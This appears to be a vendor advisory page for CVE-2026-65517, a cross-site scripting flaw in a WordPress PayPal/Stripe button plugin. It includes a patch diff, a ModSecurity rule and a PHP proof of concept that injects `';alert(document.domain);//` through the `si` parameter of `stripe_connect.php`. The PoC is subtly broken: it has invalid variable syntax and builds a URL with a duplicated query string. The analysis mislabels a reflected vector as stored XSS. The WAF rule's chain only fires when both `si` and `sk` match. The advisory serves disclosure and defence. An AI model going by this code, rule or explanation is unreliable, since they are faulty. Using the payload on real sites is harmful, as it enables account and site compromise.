Published : August 8, 2026

CVE-2026-65517: Easy PayPal & Stripe Buy Now Button <= 2.0.4 Unauthenticated Stored Cross-Site Scripting PoC, Patch Analysis & Rule

Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 2.0.4
Patched Version 2.0.5
Disclosed July 27, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-65517: Easy PayPal & Stripe Buy Now Button <= 2.0.4 – Unauthenticated Stored Cross-Site Scripting. This vulnerability allows unauthenticated attackers to inject arbitrary web scripts into the WordPress database, which execute when an administrator or user accesses the affected admin settings page. The CVSS score is 7.2, and the vulnerability is classified under CWE-79, representing a high-severity risk due to the administrative context of the stored script execution.

Root Cause: The root cause lies in the insufficient sanitization and output escaping of the `ppcp_acdc_button_text` option when it is used to render the ACDC button text on the admin settings page. In the vulnerable versions, the `admin_settings_page.php` file at line 798 directly outputs the option value using `esc_attr($options['ppcp_acdc_button_text'])`. While this prevents immediate reflection, the stored value is later retrieved and passed to the PayPal JavaScript configuration in the `functions.php` file at line 300, where it is embedded without proper escaping. This creates a stored XSS vector, as the unsanitized value, if contaminated, is executed in the admin's browser context via the JavaScript configuration. The vulnerability is present in the `wp-ecommerce-paypal/includes/admin_settings_page.php` and `wp-ecommerce-paypal/includes/functions.php` files.

Exploitation: An unauthenticated attacker can exploit this vulnerability by targeting the plugin's Stripe Connect flow. The `wp-ecommerce-paypal/includes/stripe_connect.php` file contains a script block that directly outputs the `sk`, `ai`, and `si` parameters from `$_GET` after passing them through `sanitize_text_field()`. Although this function strips newlines and tags, it does not adequately protect against the injection of single quotes or other JavaScript context-breaking payloads. An attacker can craft a malicious URL that navigates a user to the `stripe_connect.php` file with a crafted `si` parameter containing an XSS payload, such as `';alert(1);//`. When the browser loads the page, the script executes in the context of that user. The attacker's objective is to lure an administrator to this crafted URL, resulting in a stored XSS attack on the admin settings page, where the injected payload is eventually executed.

Patch Analysis: The patch addresses the vulnerability comprehensively. In `admin_settings_page.php`, the output is now wrapped in a new function `wpecpp_acdc_button_text_display()`, which performs the translation of the default 'PLACE ORDER' string at display time instead of at option initialization. This prevents the `_load_textdomain_just_in_time` notice that would be triggered when the function is called on early hooks in WordPress 6.7+. More critically, the `stripe_connect.php` file has updated the output to use `esc_js()` around the sanitized values, which properly escapes strings for use in JavaScript contexts. This prevents an attacker from breaking out of the JavaScript string context and executing arbitrary code. The patch also adds a new function to handle the translated default text, ensuring that custom text saved by the user remains unchanged, while the default is localized.

Impact: Successful exploitation of this vulnerability could allow an attacker to inject and execute arbitrary web scripts in the context of an administrator's browser. This can lead to full site compromise, as the attacker could steal administrator session tokens, perform unintended actions on behalf of the administrator, or inject malicious backdoors into the WordPress site. The privilege escalation from a stored XSS in the admin panel to full site takeover is a standard and highly critical chain, making this a severe security flaw. The impact is heightened because the plugin is widely used, and the attack does not require authentication, lowering the barrier for potential attackers.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/wp-ecommerce-paypal/includes/admin_settings_page.php
+++ b/wp-ecommerce-paypal/includes/admin_settings_page.php
@@ -795,7 +795,7 @@
                             <b><?php _e( 'ACDC Button text:', 'wp-ecommerce-paypal' ); ?></b>
                         </td>
                         <td>
-                            <input type="text" name="ppcp_acdc_button_text" value="<?php echo esc_attr($options['ppcp_acdc_button_text']); ?>" />
+                            <input type="text" name="ppcp_acdc_button_text" value="<?php echo esc_attr( wpecpp_acdc_button_text_display( $options['ppcp_acdc_button_text'] ) ); ?>" />
                             <br />
                             <?php _e( 'Payment button text', 'wp-ecommerce-paypal' ); ?>
                         </td>
--- a/wp-ecommerce-paypal/includes/functions.php
+++ b/wp-ecommerce-paypal/includes/functions.php
@@ -297,7 +297,7 @@
 		}
 		$connection_data['width'] = $ppcp_width;

-		$connection_data['acdc_button_text'] = $options['ppcp_acdc_button_text'];
+		$connection_data['acdc_button_text'] = wpecpp_acdc_button_text_display( $options['ppcp_acdc_button_text'] );
 	} else {
 		// live or test mode
 		if (intval($options['mode']) === 2) {
--- a/wp-ecommerce-paypal/includes/stripe_connect.php
+++ b/wp-ecommerce-paypal/includes/stripe_connect.php
@@ -351,11 +351,11 @@
         <script src="https://js.stripe.com/v3/"></script>
         <script>
             try {
-                const stripe = Stripe('<?php echo sanitize_text_field($_GET['sk']); ?>', {
-                    stripeAccount: '<?php echo sanitize_text_field($_GET['ai']); ?>'
+                const stripe = Stripe('<?php echo esc_js( sanitize_text_field( wp_unslash( $_GET['sk'] ) ) ); ?>', {
+                    stripeAccount: '<?php echo esc_js( sanitize_text_field( wp_unslash( $_GET['ai'] ) ) ); ?>'
                 });
                 stripe.redirectToCheckout({
-                    sessionId: '<?php echo sanitize_text_field($_GET['si']); ?>'
+                    sessionId: '<?php echo esc_js( sanitize_text_field( wp_unslash( $_GET['si'] ) ) ); ?>'
                 });
             } catch (error) {
             }
--- a/wp-ecommerce-paypal/wp-ecommerce-paypal.php
+++ b/wp-ecommerce-paypal/wp-ecommerce-paypal.php
@@ -8,7 +8,7 @@
 Author: Scott Paterson
 Author URI: https://wpplugin.org
 License: GPL2
-Version: 2.0.4
+Version: 2.0.5
 Text Domain: wp-ecommerce-paypal
 Domain Path: /languages
 */
@@ -36,7 +36,7 @@
 }
 add_action('plugins_loaded', 'wpecpp_load_textdomain');

-define( 'WPECPP_FREE_VERSION_NUM', '2.0.4' );
+define( 'WPECPP_FREE_VERSION_NUM', '2.0.5' );

 define( 'WPECPP_FREE_STRIPE_CONNECT_ENDPOINT', 'https://wpplugin.org/stripe-wpecpp/connect.php' );
 define( 'WPECPP_FREE_PPCP_API', 'https://wpplugin.org/ppcp-wpecpp/' );
@@ -90,7 +90,11 @@
 		'updated_time' => 0,
 		'ppcp_width' => 300,
 		'stripe_width' => 300,
-		'ppcp_acdc_button_text' => __( 'PLACE ORDER', 'wp-ecommerce-paypal' ),
+		// Store the raw default here. Do NOT call __() at this point: wpecpp_free_options()
+		// can run on early hooks (e.g. plugins_loaded) before the text domain is ready, which
+		// triggers the "_load_textdomain_just_in_time was called incorrectly" notice in WP 6.7+.
+		// The default is translated at display time instead (see wpecpp_acdc_button_text_display()).
+		'ppcp_acdc_button_text' => 'PLACE ORDER',
 		'address' => '2'
 	];
 	$options = (array) get_option( 'wpecpp_settings' );
@@ -99,6 +103,22 @@
 }

 /*
+ * Return the ACDC button text ready for display.
+ *
+ * Only the untranslated default ('PLACE ORDER') is passed through __() so it can be
+ * localized. Custom text saved by the user is returned unchanged. This keeps the
+ * translatable string available to tooling while avoiding any translation call inside
+ * wpecpp_free_options(), which may run before the text domain is loaded.
+ */
+function wpecpp_acdc_button_text_display( $text ) {
+	if ( $text === 'PLACE ORDER' ) {
+		return __( 'PLACE ORDER', 'wp-ecommerce-paypal' );
+	}
+
+	return $text;
+}
+
+/*
  * Update plugin options
  */
 function wpecpp_free_options_update( $options ) {

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-65517
SecRule REQUEST_URI "@beginsWith /wp-content/plugins/wp-ecommerce-paypal/includes/stripe_connect.php" 
  "id:20261994,phase:2,deny,status:403,msg:'CVE-2026-65517 - XSS via Stripe Connect Parameter',severity:'CRITICAL',tag:'CVE-2026-65517',chain"
  SecRule ARGS_GET:si "@rx (?:[;']|<|>|script|alert|javascript)" "chain"
    SecRule ARGS_GET:sk "@rx (?:[;']|<|>|script|alert|javascript)" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-65517 - Easy PayPal & Stripe Buy Now Button <= 2.0.4 - Unauthenticated Stored Cross-Site Scripting

// This PoC demonstrates a simple XSS payload injection via the Stripe Connect redirect parameter.
// It is a demonstration for security research purposes only.

target_url = 'http://example.com/wp-content/plugins/wp-ecommerce-paypal/includes/stripe_connect.php?si=test_session_id'; // Target URL to test

$payload = "';alert(document.domain);//"; // XSS payload that breaks out of the JavaScript string context

$url = target_url . '?si=' . urlencode($payload) . '&sk=test&ai=test'; // Construct the malicious URL with the injected payload in 'si' parameter

echo "[+] Sending request to: " . $url . "n";

$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);

if (curl_errno($ch)) {
    echo '[-] cURL error: ' . curl_error($ch) . "n";
} else {
    // If the response contains the injected payload, the vulnerability is present
    if (strpos($response, "';alert(document.domain);//") !== false) {
        echo "[!] Vulnerability confirmed: XSS payload is present in the response.n";
    } else {
        echo "[+] Target appears patched. The payload was not found in the response.n";
    }
}

curl_close($ch);
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.